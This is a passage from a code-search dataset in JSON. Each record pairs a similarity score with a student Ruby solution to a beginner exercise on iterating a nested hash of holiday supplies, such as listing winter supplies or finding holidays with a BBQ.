"text": "def all_winter_holiday_supplies(holiday_hash)\n holiday_hash[:winter].map do |holiday, supplies|\n supplies\n end.flatten\nend",
"title": ""
},
{
"docid": "611a80af4e74adb496c40ad71b75aacc",
"score": "0.78174275",
"text": "def winter_supplies\n holiday_supplies[:winter].map do |holiday, supplies|\n supplies\nend.flatten\nend",
"title": ""
},
{
"docid": "dc7191007b7b402ebb652bcaefbf2b1d",
"score": "0.78104985",
"text": "def all_winter_holiday_supplies(holiday_hash)\n # return an array of all of the supplies that are used in the winter season\n holiday_hash.each do |season, season_details_hash|\n if season == :winter\n return season_details_hash.values.flatten\n end\n end\nend",
"title": ""
},
{
"docid": "8b71cf6322def4bb4813671362d6d103",
"score": "0.7781159",
"text": "def all_winter_holiday_supplies(holiday_hash)\n # return an array of all of the supplies that are used in the winter season\n return_supplies = [] # create an empty array\n holiday_hash.each do |season, winter_hash| # iterates over first level (\"seasons\") of hash\n if season == :winter\n winter_hash.each do |winter_holidays, supplies| # iterates over second level (\"winter_holidays\") of hash\n return_supplies << supplies # add (shovel) supplies from both winter_holidays to empty array\n #binding.pry\n end\n end\n end\n return_supplies.flatten # return all supplies to one (\"flatten\") array\nend",
"title": ""
},
{
"docid": "e089fad194bbaa6372259061e149828d",
"score": "0.7712515",
"text": "def all_winter_holiday_supplies(holiday_hash)\n # return an array of all of the supplies that are used in the winter season\n holiday_hash[:winter].values.flatten\nend",
"title": ""
},
{
"docid": "7f6ffe56adb623ce0898c8dff7deb06e",
"score": "0.7691547",
"text": "def all_winter_holiday_supplies(holiday_hash)\n array = []\n holiday_hash.each do |season, holiday|\n if season == :winter\n holiday.each do |holiday, supplies|\n supplies.each do |eachsupply|\n array << eachsupply\n end\n end\n end\n end\n array\nend",
"title": ""
},
{
"docid": "e5c97a16f85e237dc582651f9af77c2d",
"score": "0.768411",
"text": "def all_winter_holiday_supplies(holiday_hash)\r\n # return an array of all of the supplies that are used in the winter season\r\n all_winter =[]\r\n holiday_hash[:winter].each do |holiday_name, supply_array|\r\n all_winter << supply_array\r\n end\r\n all_winter.flatten\r\nend",
"title": ""
},
{
"docid": "a19e1066b566c58acddbb012acb2e81b",
"score": "0.76322556",
"text": "def winter_supplies(holiday_supplies)\n winter_supplies = []\n holiday_supplies[:winter].each do |holiday, supplies|\n supplies.each do |item|\n winter_supplies << item\n end\n end\n puts winter_supplies\nend",
"title": ""
},
{
"docid": "11a05daaabd138f1c40e9ccf8d9f7579",
"score": "0.76002526",
"text": "def winter_supplies(holiday_supplies_hash)\n supplies = []\n holiday_supplies_hash[:winter].each do |holiday, supplies_array|\n supplies << supplies_array\n end\n supplies\nend",
"title": ""
},
{
"docid": "0287b45238715ed7bb31b55c305a8ed8",
"score": "0.75651425",
"text": "def all_winter_holiday_supplies(holiday_hash)\n # return an array of all of the supplies that are used in the winter season\n newArray = []\n holiday_hash.each do |key, value|\n if key == :winter\n value.each do |key, value|\n newArray.concat(value)\n end\n end\n end\n return newArray\nend",
"title": ""
},
{
"docid": "41ddc52884a8eb65697eb7b2eecdfcd1",
"score": "0.75421786",
"text": "def all_winter_holiday_supplies(holiday_hash)\n # return an array of all of the supplies that are used in the winter season\n # array = holiday_hash[:winter].map do |holiday, supply|\n # supply\n # end\n # array.flatten\n holiday_hash[:winter].values.flatten\nend",
"title": ""
},
{
"docid": "41cce4c8c4c7d7cb3b2a001684664360",
"score": "0.75026596",
"text": "def winter_supplies(hash)\n supplies = []\n hash.each do |holiday, stuff|\n supplies << stuff\n end\n supplies.flatten \nend",
"title": ""
},
{
"docid": "db76449d08adb8b3d5b77bb3375b3074",
"score": "0.74396193",
"text": "def all_winter_holiday_supplies(holiday_hash)\n # return an array of all of the supplies that are used in the winter season\n\n holiday_hash.each_pair.flat_map do |season_key, holiday_value|\n if season_key == :winter\n holiday_value.each_pair.flat_map do |holiday, supply_array|\n supply_array.delete_if {|item| item == nil}\n end\n end\n end\nend",
"title": ""
},
{
"docid": "2530d9ecefab31fee64d44a061df4bf7",
"score": "0.73002607",
"text": "def collects_bbq(holiday_supplies)\n\tbbq_holiday_array = []\n\tholiday_supplies.each do |season, hash|\n\t\thash.each do |holiday, array|\n\t\t\tif array.include?(\"BBQ\")\n\t\t\t\tbbq_holiday_array << holiday\n\t\t\tend\n\t\tend\n\tend\n\tbbq_holiday_array\nend",
"title": ""
},
{
"docid": "ffc973bbc36401a104003d6cbba8f2b2",
"score": "0.7251013",
"text": "def list_supplies(holiday_supplies)\n holiday_supplies.each do |season, holidays|\n puts season.to_s.capitalize + \":\"\n holidays.each do |holiday, supplies|\n holiday = holiday.to_s.split('_')\n holiday = holiday.map { |word| word == \"of\" ? word : word.capitalize }\n if supplies.count >= 3\n supplies_sentence = supplies[0..-2].join(', ') + ', and ' + supplies[-1]\n else\n supplies_sentence = supplies.join(' and ')\n end\n puts \" #{holiday.join(' ')}: #{supplies_sentence}\"\n end\n end\n end",
"title": ""
},
{
"docid": "e30594005f45fcb05a73ac9858139907",
"score": "0.72446686",
"text": "def holidays_with_bbqs(holiday_supplies)\n holidays = []\n holiday_supplies.each do |season, holiday_hash|\n holiday_hash.each do |holiday, supply_array|\n supply_array.each do |supply|\n if supply == 'BBQ'\n holidays << holiday\n end\n end\n end\n end\n holidays\nend",
"title": ""
},
{
"docid": "4d13437ef5df9b7ce8669d4763192c18",
"score": "0.7212546",
"text": "def all_winter_holiday_supplies(holiday_hash)\n holiday_hash[:winter].values.flatten\nend",
"title": ""
},
{
"docid": "5ec5d98a83ab4b684c3985268e11b0de",
"score": "0.71958435",
"text": "def winter_supplies hash \n supply_array = []\n hash[:winter].each do |holiday, array|\n\t\tarray.each do |supply|\n\t\t\tsupply_array << supply\n\t\tend\n\tend\n supply_array\nend",
"title": ""
},
{
"docid": "083044641a26786c9dad0bd38d8c4bd8",
"score": "0.7190599",
"text": "def all_supplies(holiday_supplies)\n\tholiday_supplies.each do |season, hash|\n\t\tputs \"#{season.capitalize}:\"\n\t\thash.each do |holiday, array|\n\t\t\tputs \"#{holiday.capitalize}: \"\n\t\t\tarray.each do |supplies|\n\t\t\t\tprints supplies.join(\" and \")\n\t\t\tend\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "de70ad4db62b647a953f2bd1bd781f09",
"score": "0.71093583",
"text": "def holidays_with_bbqs(holiday_supplies)\n matched_holidays = []\n holiday_supplies.each do |season, holidays_hash|\n holidays_hash.each do |holiday, supplies|\n matched_holidays << holiday if supplies.include?(\"BBQ\")\n end\n end\n matched_holidays\nend",
"title": ""
},
{
"docid": "a83d4b8434c724c72a20936005b53656",
"score": "0.70789796",
"text": "def holidays_with_bbq(holiday_supplies)\n matching_holidays = []\n holiday_supplies.each do |season, holiday_hash|\n holiday_hash.each do |holiday, supply_array|\n matching_holidays << holiday if supply_array.include?(\"BBQ\")\n end\n end\n matching_holidays\n end",
"title": ""
},
{
"docid": "8f8c1e8144804d6aef5c0781aada1b7e",
"score": "0.70588833",
"text": "def all_winter_holiday_supplies(holiday_hash)\n holiday_hash[:winter].values.flatten\n\nend",
"title": ""
},
{
"docid": "237d141d1d4d030415c6e3f9343ec60e",
"score": "0.6984529",
"text": "def all_holidays_with_bbq(holiday_hash)\n# # return an array of holiday names (as symbols) where supply lists\n# # include the string \"BBQ\"\n holiday_hash.map do |season, holidays|\n holidays.map do |holiday, supplies|\n holiday if supplies.include?(\"BBQ\")\n end\n end.flatten.compact\nend",
"title": ""
},
{
"docid": "22f9beb5c4c35b28484b2e388db52367",
"score": "0.68969786",
"text": "def holidays_with_bbq(holiday_supplies)\ncontains_BBQ = []\nholiday_supplies.each do |season, holidays|\n holidays.each_pair do |day, supplies|\n supplies.each do |item|\n if item == \"BBQ\" \n contains_BBQ << day\n end\n end\nend\nend\nreturn contains_BBQ\nend",
"title": ""
},
{
"docid": "1a1ab6e5a0421edbc244f6c1e79b190e",
"score": "0.6885011",
"text": "def all_supplies_in_holidays(holiday_hash)\n # iterate through holiday_hash and print items such that your readout resembles:\n # Winter:\n # Christmas: Lights, Wreath\n # New Years: Party Hats\n # Summer:\nend",
"title": ""
},
{
"docid": "546cf7fbe6713b49b3b312937108e85c",
"score": "0.68785626",
"text": "def all_holidays_with_bbq(holiday_hash)\n # return an array of holiday names (as symbols) where supply lists\n # include the string \"BBQ\"\n array = []\n holiday_hash.each do |season, holidays|\n holidays.each do |holiday, supplies|\n supplies.each do |word|\n if word == \"BBQ\"\n array << holiday\n end\n end\n end\n end\n return array\nend",
"title": ""
},
{
"docid": "137390db6b03141584e069ea2a02a6ad",
"score": "0.685832",
"text": "def all_holidays_with_bbq(holiday_hash)\nholiday_hash.collect do |season, holidays|\nholidays.collect do |holiday, supplies|\nholiday if supplies.include?(\"BBQ\")\nend\nend.flatten.compact\nend",
"title": ""
},
{
"docid": "fa261862722bf2499d25d0ef5b71205d",
"score": "0.6842343",
"text": "def all_holidays_with_bbq(holiday_hash)\n # Write a method to collect all holidays with BBQ\n # return an array of holiday names (as symbols) where supply lists include the string \"BBQ\"\n holidays = []\n holiday_hash.each do |season, data|\n data.each do |holiday, supplies|\n\n supplies.each do |supply|\n if supply == \"BBQ\"\n holidays << holiday\n end\n end\n end\n end\n return holidays\nend",
"title": ""
},
{
"docid": "0325b8eb610d1353efbd83019b2d3ddb",
"score": "0.68420345",
"text": "def all_winter_holiday_supplies(holiday_hash)\n\n holiday_hash[:winter].values.flatten\n\n\nend",
"title": ""
},
{
"docid": "3f112183f44502d88fb388dcd95da2a9",
"score": "0.6839539",
"text": "def all_holidays_with_bbq(holiday_hash)\n new_holidays = []\n holiday_hash.each do |season, holiday_names|\n # binding.pry \n holiday_names.each do |holidays, supplies|\n #binding.pry \n if supplies.include? \"BBQ\"\n new_holidays << holidays\n end\n end \n end \n new_holidays\n\nend",
"title": ""
},
{
"docid": "51227d7969ff308609871571209d8dcc",
"score": "0.68061584",
"text": "def all_holidays_with_bbq(holiday_hash)\nholiday_hash.collect do |season ,holidays|\n\nholidays.collect do |holiday , supplies|\nholiday if supplies.include?(\"BBQ\")\n\n end\nend.flatten.compact\nend",
"title": ""
},
{
"docid": "267ad1a202763196776148dbe377804c",
"score": "0.6802058",
"text": "def bbq\n bbq = []\n holiday_supplies.select do |season, hash|\n hash.collect do |holiday, suppliesarray|\n bbq << holiday if suppliesarray.include?(\"BBQ\")\n end\n end\nend",
"title": ""
},
{
"docid": "c8490a82978bcabf2ada074821d48117",
"score": "0.67790246",
"text": "def add_supply_to_winter_holidays(holiday_supplies, supply)\n holiday_supplies[:winter].each do |holidays, supplies|\n supplies << supply\n end\nend",
"title": ""
},
{
"docid": "3a1248382f9a9cd88ca7d454c60e4b2a",
"score": "0.6770928",
"text": "def all_holidays_with_bbq(holiday_hash)\n holiday_hash.collect do |season, holidays|\n holidays.collect do |holiday, supplies|\n if supplies.include?(\"BBQ\")\n holiday\n end\n end\n end.flatten.compact\nend",
"title": ""
},
{
"docid": "ff5deda6a05d04bbf7ce4fbfe5245609",
"score": "0.6758272",
"text": "def all_holidays_with_bbq(holiday_hash)\n \n holiday_hash.map do|season, holidays|\n holidays.map do |event, supplies|\n if supplies.include?(\"BBQ\")\n event\n end\n end\nend.flatten.compact\nend",
"title": ""
},
{
"docid": "3d2d58ed99d30f92e58cea32a621e1e0",
"score": "0.6723546",
"text": "def all_supplies_in_holidays(holiday_hash)\n # iterate through holiday_hash and print items such that your readout resembles:\n # Winter:\n # Christmas: Lights, Wreath\n # New Years: Party Hats\n # Summer:\n # Fourth Of July: Fireworks, BBQ\n # etc.\n holiday_hash.each do |season, holiday|\n puts \"#{season.capitalize}:\"\n\n holiday.each do |holiday_name, supply|\n puts \" #{holiday_name.to_s.split('_').map{|i| i.capitalize}.join(' ')}: #{supply.join(', ')}\"\n # .to_s converts to a string: \"new_years\"\n # .split('_') breaks string into array of individual strings at '_' location: [\"new\", \"years\"]\n # .map{|i| i.capitalize} iterates over each word in the array and capitalizes the word: [\"New\", \"Years\"]\n # .join(' ') converts array back to a string: \"New Years\"\n end\n end\nend",
"title": ""
},
{
"docid": "5e74053e7d8a0f360f37d4180e2d03cc",
"score": "0.67231566",
"text": "def all_holidays_with_bbq(holiday_hash)\n holiday_hash.map do |season, holidays|\n holidays.map do |holiday, supplies|\n holiday if supplies.include?(\"BBQ\")\n end\n end.flatten.compact\nend",
"title": ""
},
{
"docid": "5e74053e7d8a0f360f37d4180e2d03cc",
"score": "0.67231566",
"text": "def all_holidays_with_bbq(holiday_hash)\n holiday_hash.map do |season, holidays|\n holidays.map do |holiday, supplies|\n holiday if supplies.include?(\"BBQ\")\n end\n end.flatten.compact\nend",
"title": ""
},
{
"docid": "5fcc30aa8c63b47eb7b656a4dc7e1bdd",
"score": "0.6710137",
"text": "def holidays_with_bbqs(holiday_supplies_hash)\n yes_bbq = []\n holiday_supplies_hash.each do |season, holidays_hash|\n holidays_hash.each do |holiday, supplies_array|\n if supplies_array.include? \"BBQ\"\n yes_bbq << holiday\n end\n end\n end\n yes_bbq\nend",
"title": ""
},
{
"docid": "247014344479ca6838621e2ec5ecef85",
"score": "0.66834193",
"text": "def bbq_holidays(hash)\n arr = []\n hash.each do |season, holidays|\n holidays.each do |holiday, supplies|\n arr << holiday if supplies.include?(\"BBQ\")\n \n end\n \n end\n arr\nend",
"title": ""
},
{
"docid": "520d2ae61877ac7dbe0e431cd205e5f7",
"score": "0.66816694",
"text": "def all_holidays_with_bbq(holiday_hash)\n holiday_bbq = holiday_hash.collect do |season_key, list_hash|\n list_hash.collect do |holiday_key, supplies_array|\n if supplies_array.any? {|supply| supply == \"BBQ\"}\n holiday_key\n end\n end\n end\n holiday_bbq.flatten.compact\n\n # return an array of holiday names (as symbols) where supply lists\n # include the string \"BBQ\"\n\nend",
"title": ""
},
{
"docid": "c3849da3785c1190f7d430ca827d9065",
"score": "0.6676741",
"text": "def all_holidays_with_bbq(holiday_hash)\n x = []\n holiday_hash.each do |seasons, holidayshash|\n holidayshash.each do |holiday, supplies|\n if supplies.include?(\"BBQ\")\n x << holiday\n end\n end\n end\n x\nend",
"title": ""
},
{
"docid": "e0801eb415d9a95376e816be386d38ae",
"score": "0.66497433",
"text": "def all_supplies_in_holidays(holiday_hash)\n\n holiday_hash.each do |season, holiday|\n puts \"#{season.capitalize}:\"\n holiday.each do |name, supplies|\n holiday_name_caps = name.to_s.split(\"_\").each{ |word| word.capitalize!}.join(\" \")\n puts \" #{holiday_name_caps}: #{supplies.join(\", \")}\"\n end\n end\n end",
"title": ""
},
{
"docid": "aa992191697da260fcf078ab7b22dbe5",
"score": "0.66130036",
"text": "def all_holidays_with_bbq(holiday_hash)\n bbq = []\n holiday_hash.each do |season, holidays|\n holidays.select do |holiday, supplies|\n bbq << holiday if supplies.include?(\"BBQ\")\n end\n end\n bbq\nend",
"title": ""
},
{
"docid": "4127073a987fe4ac9878365bae0426a1",
"score": "0.6606438",
"text": "def all_supplies_in_holidays(holiday_hash)\n holiday_hash.each do |season, data|\n puts \"#{season.to_s.capitalize!}:\"\n data.each do |holiday, supplies| \n puts \" #{holiday.to_s.split(\"_\").collect{|w| w.capitalize!}.join(\" \")}: #{supplies.join(\", \")}\"\n end \nend\nend",
"title": ""
},
{
"docid": "ee635f8e95bf54367596e09297423b22",
"score": "0.65525323",
"text": "def all_supplies_in_holidays(holiday_hash)\n long_string = String.new\n\n holiday_hash.collect do |season, holiday|\n long_string << \"#{season.to_s.capitalize}:\\n\"\n holiday.collect do |holiday, supply|\n if holiday.to_s.include?(\"_\")\n holiday_array = Array.new\n holiday.to_s.split(\"_\").collect do |word|\n holiday_array << word.capitalize!\n end\n long_string << \" #{holiday_array.join(\" \")}: #{supply.join(\", \")}\\n\"\n else\n long_string << \" #{holiday.to_s.capitalize}: #{supply.join(\", \")}\\n\"\n end\n end\n end\n puts long_string\nend",
"title": ""
},
{
"docid": "b70d2b19917f48737587cb33affdd9e1",
"score": "0.65499777",
"text": "def all_holidays_with_bbq(holiday_hash)\n array = [ ]\n holiday_hash.collect do |season, supply_hash|\n supply_hash.collect do |events, items|\n if items.include?(\"BBQ\")\n events\n end \n end\n end.flatten.compact\nend",
"title": ""
},
{
"docid": "70a48304d017e7bb1b7a95f02c0c08a9",
"score": "0.654992",
"text": "def season_supplies(holiday_supplies)\n temporary_supply_list = []\n\n holiday_supplies.each do |season, holiday_hash|\n puts \"#{season.capitalize}:\"\n holiday_hash.each do |holiday, supply_array|\n supply_array.each do |supply|\n temporary_supply_list << supply\n end\n temporary_supply_list.compact!\n str_supplies = temporary_supply_list.join(\" and \")\n temporary_supply_list.clear\n puts \" #{holiday.capitalize}: #{str_supplies}\"\n end\n end\nend",
"title": ""
},
{
"docid": "92808270882d4e5952facfdca77569ba",
"score": "0.65444714",
"text": "def bbq(list)\n bbq_days = []\n list.each do |season, holidays|\n holidays.each do |holiday, supplies|\n bbq_days << holiday.to_s.gsub(/_/, \" \").gsub(/\\w+/) {|word| word.capitalize} if supplies.include?(\"BBQ\")\n end\n end\n bbq_days\nend",
"title": ""
},
{
"docid": "887e67a89c1cb0e45d210a85f63d8fa2",
"score": "0.6534354",
"text": "def all_supplies_in_holidays(holiday_hash)\n holiday_hash.each do |season, holidays|\n puts \"#{season.capitalize}:\"\n holidays.each do |holiday, supplies|\n puts\" #{holiday.to_s.split('_').map {|w| w.capitalize }.join(' ') }: #{supplies.join(\", \")}\"\n end\n end\nend",
"title": ""
},
{
"docid": "887e67a89c1cb0e45d210a85f63d8fa2",
"score": "0.6534354",
"text": "def all_supplies_in_holidays(holiday_hash)\n holiday_hash.each do |season, holidays|\n puts \"#{season.capitalize}:\"\n holidays.each do |holiday, supplies|\n puts\" #{holiday.to_s.split('_').map {|w| w.capitalize }.join(' ') }: #{supplies.join(\", \")}\"\n end\n end\nend",
"title": ""
},
{
"docid": "d4fc4212e93d8facd75bf2c0afb671d3",
"score": "0.65327567",
"text": "def all_holidays_with_bbq(holiday_hash)\n array_bbqs = []\n holiday_hash.each do |season, holidays|\n holidays.each do |holiday_name, supplies|\n supplies.each do |supply_name|\n if supply_name == \"BBQ\"\n array_bbqs << holiday_name\n end \n end\n end\n end \n array_bbqs\nend",
"title": ""
},
{
"docid": "adafb25adc6c78ae5af3e207a69ee3d9",
"score": "0.6499581",
"text": "def list_supplies_by_season(holiday_supplies)\n holiday_supplies.each do |season, holidays_hash|\n puts \"#{season.to_s.capitalize}:\"\n holidays_hash.collect do |holiday, supplies_array|\n pretty_holiday = holiday.to_s.split(\"_\").collect do |word|\n word.capitalize\n end.join(\" \")\n print \" #{pretty_holiday}: \"\n supplies_array.each_with_index do |supply, index|\n print \"#{supply}\".strip\n print \" and \" if index < supplies_array.size-1\n puts \"\" if index == supplies_array.size-1\n end\n end\n end\nend",
"title": ""
},
{
"docid": "9cc76735781ee7b68d0d081e378cb5e7",
"score": "0.64983654",
"text": "def all_supplies_in_holidays(holiday_hash)\n # iterate through holiday_hash and print items such that your readout resembles:\n # Winter:\n # Christmas: Lights, Wreath\n # New Years: Party Hats\n # Summer:\n # Fourth Of July: Fireworks, BBQ\n # etc.\n holiday_hash.each do |season, holiday|\n puts \"#{season.to_s.capitalize}:\"\n holiday.each do |event, supplies|\n puts \" #{event.to_s.split(\"_\").map { |element| element.capitalize }.join(\" \") }: #{supplies.join(\", \")}\"\n end\n end\nend",
"title": ""
},
{
"docid": "0e536ec661983216dc1db749757c8d02",
"score": "0.6494092",
"text": "def all_supplies_in_holidays(holiday_hash)\n holiday_hash.each do |season, holiday|\n puts \"#{season.capitalize}:\"\n holiday.each do |eachholiday, supplies|\n puts \" #{eachholiday.to_s.split('_').each {|x| x.capitalize!}.join(' ')}: #{supplies.join(', ')}\"\n end\n end\nend",
"title": ""
},
{
"docid": "544e328f1b09b1ff2b174d79ff1e2630",
"score": "0.6493868",
"text": "def all_supplies_in_holidays(holiday_hash)\n holiday_hash.each do |season, holidays|\n puts \"#{season.capitalize}:\"\n holidays.each do |holiday, supplies|\n capitalized_holiday = holiday.to_s.gsub(\"_\",\" \").split\n capitalized_holiday.each do |word_in_holiday_name|\n word_in_holiday_name.capitalize!\n end\n supplies.each do |supply|\n if supply != supplies.last\n supply << \",\"\n end\n end\n puts \" #{capitalized_holiday.join(\" \")}: #{supplies.join(\" \")}\"\n end\n end\nend",
"title": ""
},
{
"docid": "f8e1f55510f0aa64e7fdc370b36cfcbf",
"score": "0.6486811",
"text": "def winter_gear(holiday_supplies)\nall_winter_gear = []\nholiday_supplies[:winter].each_pair do |holiday, gear|\ngear.each do |supply|\n all_winter_gear << supply\nend\nend\nall_winter_gear.join(\", \")\nreturn all_winter_gear\nend",
"title": ""
},
{
"docid": "3fd15892c2a7c165192db118162878d5",
"score": "0.6462169",
"text": "def all_supplies_in_holidays(holiday_hash)\n # iterate through holiday_hash and print items such that your readout resembles:\n # Winter:\n # Christmas: Lights, Wreath\n # New Years: Party Hats\n # Summer:\n # Fourth Of July: Fireworks, BBQ\n # etc.\n holiday_hash.each do |season, holiday|\n puts \"#{season.capitalize}:\"\n holiday.each do |name, supplies|\n puts \" #{name.to_s.split(\"_\").map {|word| word.capitalize}.join(\" \") }: #{supplies.join(\", \")}\"\n end\n end\nend",
"title": ""
},
{
"docid": "913f89716cc38d888f0fb04566e6b9a6",
"score": "0.6441349",
"text": "def all_supplies_in_holidays(holiday_hash)\n holiday_hash.each do |season, holiday|\n puts \"#{season.capitalize}:\"\n holiday.each do |holiday, supplies|\n holiday_cap = holiday.to_s.split(\"_\").map{|w| w.capitalize}.join(\" \")\n puts \" #{holiday_cap}: #{supplies.join(\", \")}\"\n end\n end\nend",
"title": ""
},
{
"docid": "d4a28f3a67e94d6d28311ca1e52e854a",
"score": "0.6438365",
"text": "def all_holidays_with_bbq(holiday_hash)\n results = []\n holiday_hash.each do |season_name, supply_hash|\n supply_hash.each do |holiday_name, supply_array|\n results << holiday_name if supply_array.include?(\"BBQ\")\n end\n end\n results\nend",
"title": ""
},
{
"docid": "dc75ba8007aa0d47d48339ce0acb8599",
"score": "0.6433499",
"text": "def all_supplies_in_holidays(holiday_hash)\n holiday_hash.each do |season, holiday_name|\n puts season.to_s.capitalize! + \":\"\n holiday_name.each do |holiday, value|\n best_holiday = holiday.to_s.split(\"_\").collect {\n |name| name.capitalize!\n }.join(\" \")\n puts \" #{best_holiday}: #{value.join(\", \")}\"\n end\n end\nend",
"title": ""
},
{
"docid": "4005e7d496ee34fe5bd561ad9651f055",
"score": "0.64300245",
"text": "def all_holidays_with_bbq(holiday_hash)\n # return an array of holiday names (as symbols) where supply lists\n # include the string \"BBQ\"\n returnArray = []\n holiday_hash.each do |season, holiday|\n holiday.each do |pointer,items|\n if items.include?(\"BBQ\")\n returnArray << pointer\n end\n end\n end\n returnArray\nend",
"title": ""
},
{
"docid": "7025175bf34b7012256206144418b270",
"score": "0.6418488",
"text": "def add_supply_to_memorial_day(holiday_supplies, supply)\n holiday_supplies.each do |season, holidays|\n holidays.each do |holiday, supplies|\n if holiday == :memorial_day\n supplies << supply\n end\n end\n end\nend",
"title": ""
},
{
"docid": "2f2e0414bb277e635a88efc444630502",
"score": "0.6400629",
"text": "def all_holidays_with_bbq(holiday_hash)\n # return an array of holiday names (as symbols) where supply lists\n # include the string \"BBQ\"\n holiday_array = []\n holiday_hash.each do |season, holidays|\n holidays.each do |day, array|\n if array.include?(\"BBQ\")\n holiday_array.push(day)\n end\nend\nend\nholiday_array\nend",
"title": ""
},
{
"docid": "d31b6e88c8937f765b9451af752b794c",
"score": "0.63821614",
"text": "def all_supplies_in_holidays(holiday_hash)\n holiday_hash.each do |season, holiday_names|\n puts \"#{season.capitalize}:\"\n holiday_names.each do |holiday_name, supply_arrays|\n #binding.pry\n puts \" #{holiday_name.to_s.split('_').collect do |word|\n word.capitalize\n end.join(' ')}: #{supply_arrays.join(\", \")}\"\n\n\n #supply_arrays.each do |supply_array, supplies|\n #binding.pry\n #puts <<~HEREDOC\n #{}\"#{season.capitalize}:\"\n # \"#{holiday_name.capitalize}: #{supplies}\"\n #HEREDOC\n #end\n end\n end\nend",
"title": ""
},
{
"docid": "1ced5e343e6490344031f55987359591",
"score": "0.62079185",
"text": "def all_supplies_in_holidays(holiday_hash)\n holiday_hash.each do |season_name, supply_hash|\n puts \"#{season_name.to_s.capitalize}:\"\n supply_hash.each do |holiday_name, supply_array|\n puts \" #{holiday_name.to_s.split(\"_\").map(&:capitalize).join(\" \")}: #{supply_array.join(\", \")}\"#{supply}\"\n end\n end\nend",
"title": ""
},
{
"docid": "575311d2b850a35b3479af998d5905c4",
"score": "0.620576",
"text": "def all_holidays_with_bbq(holiday_hash)\n best_holidays = []\n holiday_hash.each do |season, holiday|\n holiday.each do |name, supplies|\n if supplies.include?(\"BBQ\")\n best_holidays << name\n end\n end\n end\n return best_holidays\n end",
"title": ""
},
{
"docid": "035f4e7e16186b4d04ba3dbe3d04c15f",
"score": "0.6202348",
"text": "def all_holidays_with_bbq(holiday_hash)\n # return an array of holiday names (as symbols) where supply lists include the string \"BBQ\"\n holiday_hash.map do |season, holiday| # use .map instead of .each to return new altered array\n holiday.map do |holiday_name, supply|\n holiday_name if supply.include? \"BBQ\"\n end\n end.flatten.compact\n # use .flatten to return single array instead of nested array:\n # [nil, nil, :fourth_of_july, nil, :memorial_day] --> instead of --> [[nil, nil], [:fourth_of_july], [nil], [:memorial_day]]\n # remove nil values using .compact method: https://stackoverflow.com/questions/13485468/map-and-remove-nil-values-in-ruby\nend",
"title": ""
},
{
"docid": "1a85189f89d93d2c19caf66050ea51da",
"score": "0.6199983",
"text": "def all_holidays_with_bbq(holiday_hash)\n\t# return an array of holiday names (as symbols) where supply lists include the string \"BBQ\"\n bbq_holidays = []\n holiday_hash.each do |season, holidays_hash|\n \tholidays_hash.each do |holiday, holiday_info_array|\n \t\tif holiday_info_array.include?(\"BBQ\") == true\n \t\t\t bbq_holidays << holiday\n \t\tend\n \tend\n end\n return bbq_holidays\nend",
"title": ""
},
{
"docid": "3715f7dbf427d0e25f8d9ec3abb5cd7f",
"score": "0.61865515",
"text": "def add_supply_to_winter_holidays(holiday_hash, supply)\n holiday_hash.each do |season, specific_holidays_hash|\n if season == :winter\n specific_holidays_hash.each do |holiday_name_key, data|\n if holiday_name_key == :christmas || holiday_name_key == :new_years\n data << supply\n end\n end\n end\n end\nend",
"title": ""
},
{
"docid": "ecfd33f6d32ef6dcabe3de624f2348a2",
"score": "0.6158665",
"text": "def all_holidays_with_bbq(holiday_hash)\n holiday_hash.collect do |season, holidays|\n holidays.collect do |holiday, value|\n holiday if value.include?(\"BBQ\")\n end\n end.flatten.compact\nend",
"title": ""
},
{
"docid": "e815390616a2a2e803f5802036e00943",
"score": "0.6090637",
"text": "def add_supply_to_winter_holidays(holiday_hash, supply)\n holiday_hash[:winter].each do |holiday, supplies|\n supplies << supply\n end\nend",
"title": ""
},
{
"docid": "c6444e3ef010dd0ceed4c07e859a998a",
"score": "0.6087619",
"text": "def all_holidays_with_bbq(holiday_hash)\n bbq_holidays = []\n holiday_hash.map do |season,holiday|\nholiday.map do |holidays,list|\n if list.include?(\"BBQ\")\n bbq_holidays << holidays\n end\n end\n end\n bbq_holidays\nend",
"title": ""
},
{
"docid": "6a06c51dbdd1509d88c8f4f1c98daa1b",
"score": "0.60767967",
"text": "def all_holidays_with_bbq(holiday_hash)\n positives = []\n holiday_hash.each do |season, holiday|\n holiday.each do |holiday, array|\n array.each do |element|\n positives.push(holiday) if element == \"BBQ\"\n end\n end\n end\n positives\nend",
"title": ""
},
{
"docid": "d1f71501cf573070004dfd7416aac0c0",
"score": "0.6052601",
"text": "def all_holidays_with_bbq(holiday_hash)\n # return an array of holiday names (as symbols) where supply lists\n # include the string \"BBQ\"\n \n output = []\n holiday_hash.each do |season_key, season_value|\n season_value.each do |key, val|\n if val.include?(\"BBQ\")\n output.push(key) \n end \n end \n end\n output\nend",
"title": ""
},
{
"docid": "8a47f85c6a632940a4849a6b9543c130",
"score": "0.60427",
"text": "def return_ch\n answer = []\n search_holidays.each do |hol|\n CountryHoliday.all.each do |ch|\n if hol.id == ch.holiday_id\n answer << ch\n end\n end\n end\n return answer\n end",
"title": ""
},
{
"docid": "312a4527d010839bb7d98cc82c6a71f5",
"score": "0.5981398",
"text": "def add_supply_to_winter_holidays(holiday_hash, supply) #key, values\n holiday_hash[:winter].each do |holiday, supplies|\n #binding.pry\n supplies.push(supply)\n end\nend",
"title": ""
},
{
"docid": "716602a27b111b8b289144177a3b9abf",
"score": "0.5947403",
"text": "def all_holidays_with_bbq(holiday_hash)\n arbitray_days = []\n holiday_hash.each do |season, data|\n data.each do |holiday, list|\n if list.include?(\"BBQ\")\n arbitray_days << holiday\n end\n end\n end\n arbitray_days\nend",
"title": ""
},
{
"docid": "f65a910b32ee850fa78758672ee6d5c2",
"score": "0.58925974",
"text": "def collate_all_supplier_wines\n wines = []\n\n Supplier.all.each do |supplier|\n # Contact a supplier to get a list of wines they sell\n RestClient.get \"#{supplier.url}wines\", {accept: :json, timeout: 10} do |response|\n case response.code\n when 200\n json = JSON.parse response.body, symbolize_names: true\n\n wines += add_supplier_id_to_wines(supplier.id, json[:data][:wines])\n else\n #TODO: log an error\n print 'error oh nooooo'\n end\n end\n end\n\n wines\n end",
"title": ""
},
{
"docid": "0670a898b07d1fc60da3b204b20b2b5c",
"score": "0.5890694",
